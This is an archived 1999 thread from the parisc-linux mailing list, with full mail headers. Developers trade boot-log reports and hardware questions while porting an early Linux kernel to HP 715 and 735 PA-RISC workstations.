Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id XAA4204592;
	Thu, 15 Jul 1999 23:27:38 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m114t2Y-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Thu, 15 Jul 1999 23:27:38 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199907152114.RAA12587@hiauly1.hia.nrc.ca>; from John David Anglin on Thu, Jul 15, 1999 at 05:14:35PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9728

On Thu, Jul 15, 1999 at 05:14:35PM -0400, John David Anglin wrote:
> I tried a few days ago (July 6) and sent the console output to Alex Devries.
> There were problems with cpu speed, cpu level, and the stack/user address
> space seemed to encompass all memory including the kernel.  The kernel
> did determine the amount of memory in the machine and the machine type
> correctly.
> 
> I tried again a few days later and the boot just hung with no messages
> at all.  I think the hpux ipl must have had problems with the object file.
> Haven't tried the most recent version.

You should :-)  Helge checked in some code today which apparently fixes
the booting-via-hpux problems.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 735 expierience....
Date: Fri, 16 Jul 1999 03:22:17 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <501_6630_932088137_1@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/richtext
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416619700 12956 80.91.229.3 (22 Nov 2014 01:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Jul 15 19:21:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA15348
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 19:21:16 -0600
Original-Received: (qmail 22148 invoked by uid 15267); 16 Jul 1999 01:22:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22141 invoked from network); 16 Jul 1999 01:22:00 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 01:22:00 -0000
Original-Received: (qmail 8652 invoked from network); 16 Jul 1999 01:21:51 -0000
Original-Received: from dialppp-7-98.rz.ruhr-uni-bochum.de (HELO P100.ruhr-uni-bochum.de) (root@134.147.7.98)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 16 Jul 1999 01:21:51 -0000
Original-Received: (from deller@localhost)
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id DAA06655;
	Fri, 16 Jul 1999 03:22:17 +0200
Content-ID: <501_6630_932088137_2@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:9729

Hello !
<nl><nl>

Yes, I think the amount of memory/CPU-Data/and booting should be really f=
ine now for all machines !
I would love to hear some booting results too, so please go on and check =
!
<nl><nl>

Right now the boot-process hangs, but when you reach the point, that the =
LED's are blinking "in-row", then all what the kernel does right now is o=
k.
Yesterday Phillipp had some code in, where you could see the timer-IRQ wo=
rking, but he checked in again an older version of his code (I don't know=
 why?), so now the kernel hangs at the bogompis-check.
<nl><nl>

Currently I'm working at the framebuffer-support for the gecko-series (71=
2/715) and right now in the moment I see a nice Yellow-White graphic-disp=
lay on my 715 !
I'm sad, that I have to reduce my coding drastically in the next 2 weeks,=
 but we will see......
<nl><nl>

Helge.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Fri, 16 Jul 1999 03:48:33 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <378E8F71.A475AB34@ruhr-uni-bochum.de>
References: <19990715230530.F25925@mencheca.ch.genedata.com> <199907152114.RAA12587@hiauly1.hia.nrc.ca> <19990715232738.G25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619700 12962 80.91.229.3 (22 Nov 2014 01:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:20 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        frank.benke@student.uni-tuebingen.de, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Jul 15 19:47:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA15553
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 19:47:28 -0600
Original-Received: (qmail 25757 invoked by uid 15267); 16 Jul 1999 01:48:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25750 invoked from network); 16 Jul 1999 01:48:12 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 01:48:12 -0000
Original-Received: (qmail 16123 invoked from network); 16 Jul 1999 01:48:03 -0000
Original-Received: from dialppp-1-19.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.1.19)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 16 Jul 1999 01:48:03 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9730

Matthew Wilcox schrieb:

> On Thu, Jul 15, 1999 at 05:14:35PM -0400, John David Anglin wrote:
> > I tried a few days ago (July 6) and sent the console output to Alex Devries.
> > There were problems with cpu speed, cpu level, and the stack/user address
> > space seemed to encompass all memory including the kernel.  The kernel
> > did determine the amount of memory in the machine and the machine type
> > correctly.
> >
> > I tried again a few days later and the boot just hung with no messages
> > at all.  I think the hpux ipl must have had problems with the object file.
> > Haven't tried the most recent version.
>
> You should :-)  Helge checked in some code today which apparently fixes
> the booting-via-hpux problems.

Yes, it would be great if someone could give me feedback if booting works now on
most machines...
Right now the kernel should start up and stop at "Calibrating delay loop..." and
your led's are blinking "in row"...
Yesterday Phillipp checked code in, where you could see the timer-irq running, but
he checked it out again (I don't know why).

Maybe I should also say, that I currently worked a little at the
ITE/Framebuffer-code and until now I already can switch to graphics-mode and show
some nice white-yellow blocks on the screen....
It's too early to commit this code, but maybe in 2-3 weeks I will check it in.

Helge Deller.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Fri, 16 Jul 1999 03:50:51 +0200
Lines: 3
Approved: news@gmane.org
Message-ID: <378E8FFB.F2045F3F@ruhr-uni-bochum.de>
References: <19990715230530.F25925@mencheca.ch.genedata.com> <199907152114.RAA12587@hiauly1.hia.nrc.ca> <19990715232738.G25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619701 12966 80.91.229.3 (22 Nov 2014 01:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Jul 15 19:49:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA15704
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 19:49:45 -0600
Original-Received: (qmail 26155 invoked by uid 15267); 16 Jul 1999 01:50:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26145 invoked from network); 16 Jul 1999 01:50:29 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 01:50:29 -0000
Original-Received: (qmail 16656 invoked from network); 16 Jul 1999 01:50:21 -0000
Original-Received: from dialppp-1-19.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.1.19)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 16 Jul 1999 01:50:21 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9731

Sorry for the double mail, but I have some problems here with netscape/Linux....
Helge.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 13:54:18 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <C12567B0.004168E7.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619701 12971 80.91.229.3 (22 Nov 2014 01:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Ulrich.Strelow@schering.de  Fri Jul 16 05:53:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA17598
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 05:53:56 -0600
Original-Received: (qmail 20853 invoked by uid 15267); 16 Jul 1999 11:54:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20842 invoked from network); 16 Jul 1999 11:54:41 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 11:54:41 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 16 Jul 1999 11:54:32 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id NAA13871
	for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 13:54:28 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 16 Jul 1999 11:54:30 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C12567B0.0041695B ; Fri, 16 Jul 1999 13:54:28 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9732



Here is my experience booting the kernel on a 715/33 using hpux:

ISL> hpux /stand/vmlinux

Boot
: disk(2/0/1.6.0.0.0.0.0;0)/stand/vmlinux
389128 + 98304 + 68064 start 0x12000


The Kernel has started...
You are running a 33MHz PA-RISC-Machine with 48MB of RAM.
Free memory was at 0x000AB100 (=stackbase, stacksize=0x00040000).
Free memory now at 0x000EB100 and ends at 0x03000000.
Linux version 2.2.1 (root@be5359) (gcc version 2.8.1) #2
 Fri Jul 16 10:17:36 METDST 1999
command_line: <none>

exponent = 1028 mantissa = 1092275 result = 33328125
processor       : 0
vendor_id       : Hewlett Packard (HP)
cpu family      : PA-RISC 1.1
revision        : 4
model           : 9000/715
model name      : Scorpio Jr.(715/33)
hversion        : 0x00003110
sversion        : 0x00000481
sw_id           : 2015972664
shadow registers: yes
cpu category    : category A
cpu level       : level 1
cpu MHz         : 33.00333500
I-cache         : 64 KB
D-cache         : 64 KB (WB)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB


PUFFINLOOKHERE! now initializing CR14
PUUIFF fault_vector is 15800
secret message is "cows can fly"
interrupted with code 142, regs 00000000
IAOQ: 00000000 00000000
PSW: 00000000
EIR: 00000000
interrupted with code 241, regs 00000000
IAOQ: 00000000 00000000
Calibrating delay loop...

Then it hangs with no leds blinking ...

The kernel messages are the same using the PARISC/Linux Bootstrap and
rbootd.

And then my question:
I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?), but
 does it have a gecko (and what is this?)?

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany



From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 14:14:13 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <19990716141413.H25925@mencheca.ch.genedata.com>
References: <C12567B0.004168E7.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619701 12972 80.91.229.3 (22 Nov 2014 01:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@schering.de
Original-X-From: Matthew.Wilcox@genedata.com  Fri Jul 16 06:13:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA17795
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 06:13:39 -0600
Original-Received: (qmail 22699 invoked by uid 15267); 16 Jul 1999 12:14:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22682 invoked from network); 16 Jul 1999 12:14:24 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 12:14:24 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id OAA11244;
	Fri, 16 Jul 1999 14:14:14 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id OAA4221856;
	Fri, 16 Jul 1999 14:14:14 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m1156sX-00029rC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Ulrich.Strelow@schering.de; Fri, 16 Jul 1999 14:14:13 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <C12567B0.004168E7.00@BE2314.schering.de>; from Ulrich.Strelow@schering.de on Fri, Jul 16, 1999 at 01:54:18PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9733

On Fri, Jul 16, 1999 at 01:54:18PM +0200, Ulrich.Strelow@schering.de wrote:
[successful boot report snipped]
> And then my question:
> I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?), but
>  does it have a gecko (and what is this?)?

Right, the 715 has neither DINO nor LASI.  The chips inside are labelled
OLIN and SHINKO.  http://www.thepuffingroup.com/parisc/hp9000_models.html
has no details on these chips.  Alex tells me he's trying to get
documentation on these chips, but I'll have to be patient.  The major
stumbling block with these machines is likely to be the SCSI controller
-- it's an NCR53C700 which is apparently a very nasty device; much more
nasty than the 710 which is built into LASI.

In my copious spare time, I'm stumbling through the Utah Mach sources,
trying to glean details about OLIN and SHINKO but I've had no success
so far.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 14:17:41 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <378F22E5.9D9DAB1E@ruhr-uni-bochum.de>
References: <C12567B0.004168E7.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619702 12974 80.91.229.3 (22 Nov 2014 01:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@Schering.DE
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Fri Jul 16 06:16:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA17966
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 06:16:39 -0600
Original-Received: (qmail 22984 invoked by uid 15267); 16 Jul 1999 12:17:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22977 invoked from network); 16 Jul 1999 12:17:25 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 12:17:25 -0000
Original-Received: (qmail 20597 invoked from network); 16 Jul 1999 12:17:09 -0000
Original-Received: from dialppp-5-144.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.5.144)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 16 Jul 1999 12:17:09 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9734

Ulrich.Strelow@Schering.DE schrieb:

> Here is my experience booting the kernel on a 715/33 using hpux:
>
> ISL> hpux /stand/vmlinux
>
> Boot
> : disk(2/0/1.6.0.0.0.0.0;0)/stand/vmlinux
> 389128 + 98304 + 68064 start 0x12000
>
> The Kernel has started...
> You are running a 33MHz PA-RISC-Machine with 48MB of RAM.
> Free memory was at 0x000AB100 (=stackbase, stacksize=0x00040000).
> Free memory now at 0x000EB100 and ends at 0x03000000.
> Linux version 2.2.1 (root@be5359) (gcc version 2.8.1) #2
>  Fri Jul 16 10:17:36 METDST 1999
> command_line: <none>
>
> exponent = 1028 mantissa = 1092275 result = 33328125
> processor       : 0
> vendor_id       : Hewlett Packard (HP)
> cpu family      : PA-RISC 1.1
> revision        : 4
> model           : 9000/715
> model name      : Scorpio Jr.(715/33)
> hversion        : 0x00003110
> sversion        : 0x00000481
> sw_id           : 2015972664
> shadow registers: yes
> cpu category    : category A
> cpu level       : level 1
> cpu MHz         : 33.00333500
> I-cache         : 64 KB
> D-cache         : 64 KB (WB)
> ITLB entries    : 120
> DTLB entries    : 120 - shared with ITLB
>
> PUFFINLOOKHERE! now initializing CR14
> PUUIFF fault_vector is 15800
> secret message is "cows can fly"

til this point all is OK !


>
> interrupted with code 142, regs 00000000
> IAOQ: 00000000 00000000

There should be something different than zero here....

>
> PSW: 00000000
> EIR: 00000000
> interrupted with code 241, regs 00000000
> IAOQ: 00000000 00000000
> Calibrating delay loop...
>
> Then it hangs with no leds blinking ...

did you tried before or after Phillip's last commit (head.s changed) ?

> The kernel messages are the same using the PARISC/Linux Bootstrap and
> rbootd.

Great!

> And then my question:
> I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?), but
>  does it have a gecko (and what is this?)?

I think it has a lasi-chip...
I don't know until now what gecko is.... (isn't it the same as lasi??).

> Ulrich

Helge.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 14:39:18 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990716143918.I19641@suse.de>
References: <C12567B0.004168E7.00@BE2314.schering.de> <378F22E5.9D9DAB1E@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619702 12977 80.91.229.3 (22 Nov 2014 01:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:22 +0000 (UTC)
Cc: Ulrich.Strelow@Schering.DE, parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: prumpf@suse.de  Fri Jul 16 06:38:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA18438
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 06:38:43 -0600
Original-Received: (qmail 25992 invoked by uid 15267); 16 Jul 1999 12:39:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25973 invoked from network); 16 Jul 1999 12:39:28 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 12:39:28 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id C250032CF0; Fri, 16 Jul 1999 14:39:19 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 3562567AE; Fri, 16 Jul 1999 14:39:19 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 8529E7F8B; Fri, 16 Jul 1999 14:39:18 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <378F22E5.9D9DAB1E@ruhr-uni-bochum.de>; from Helge Deller on Fri, Jul 16, 1999 at 02:17:41PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9735

> > PUFFINLOOKHERE! now initializing CR14
> > PUUIFF fault_vector is 15800
> > secret message is "cows can fly"
> 
> til this point all is OK !
> 
> 
> >
> > interrupted with code 142, regs 00000000
> > IAOQ: 00000000 00000000
> 
> There should be something different than zero here....

bzzt. Helge, please don't comment on code you haven't written. This is okay.


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: Re: [parisc-linux] 715/33 experience and one question
Date: Fri, 16 Jul 1999 14:44:05 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <C12567B0.0045F7F0.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619702 12979 80.91.229.3 (22 Nov 2014 01:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: Ulrich.Strelow@schering.de  Fri Jul 16 06:43:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA18751
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 06:43:53 -0600
Original-Received: (qmail 26874 invoked by uid 15267); 16 Jul 1999 12:44:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26867 invoked from network); 16 Jul 1999 12:44:38 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 12:44:38 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 16 Jul 1999 12:44:30 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id OAA16090;
	Fri, 16 Jul 1999 14:44:25 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 16 Jul 1999 12:44:28 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C12567B0.0045F9C7 ; Fri, 16 Jul 1999 14:44:19 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9736



Hello Helge,
>>
>> PSW: 00000000
>> EIR: 00000000
>> interrupted with code 241, regs 00000000
>> IAOQ: 00000000 00000000
>> Calibrating delay loop...
>>
>> Then it hangs with no leds blinking ...

>did you tried before or after Phillip's last commit (head.s changed) ?

head.S is Revision 1.23  1999/07/15 13:52:59  deller

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany



From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 experience and one question (fwd)
Date: Fri, 16 Jul 1999 08:09:44 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <199907161509.IAA21510@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619703 12983 80.91.229.3 (22 Nov 2014 01:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Fri Jul 16 09:09:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA19489
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jul 1999 09:09:12 -0600
Original-Received: (qmail 17901 invoked by uid 15267); 16 Jul 1999 15:09:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17890 invoked from network); 16 Jul 1999 15:09:57 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 Jul 1999 15:09:57 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA26095
	for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 11:09:29 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id IAA24247 for <parisc-linux@thepuffingroup.com>; Fri, 16 Jul 1999 08:08:44 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id IAA21510 for parisc-linux@thepuffingroup.com; Fri, 16 Jul 1999 08:09:45 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9737

|> And then my question:
|> I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?), but
|>  does it have a gecko (and what is this?)?
|
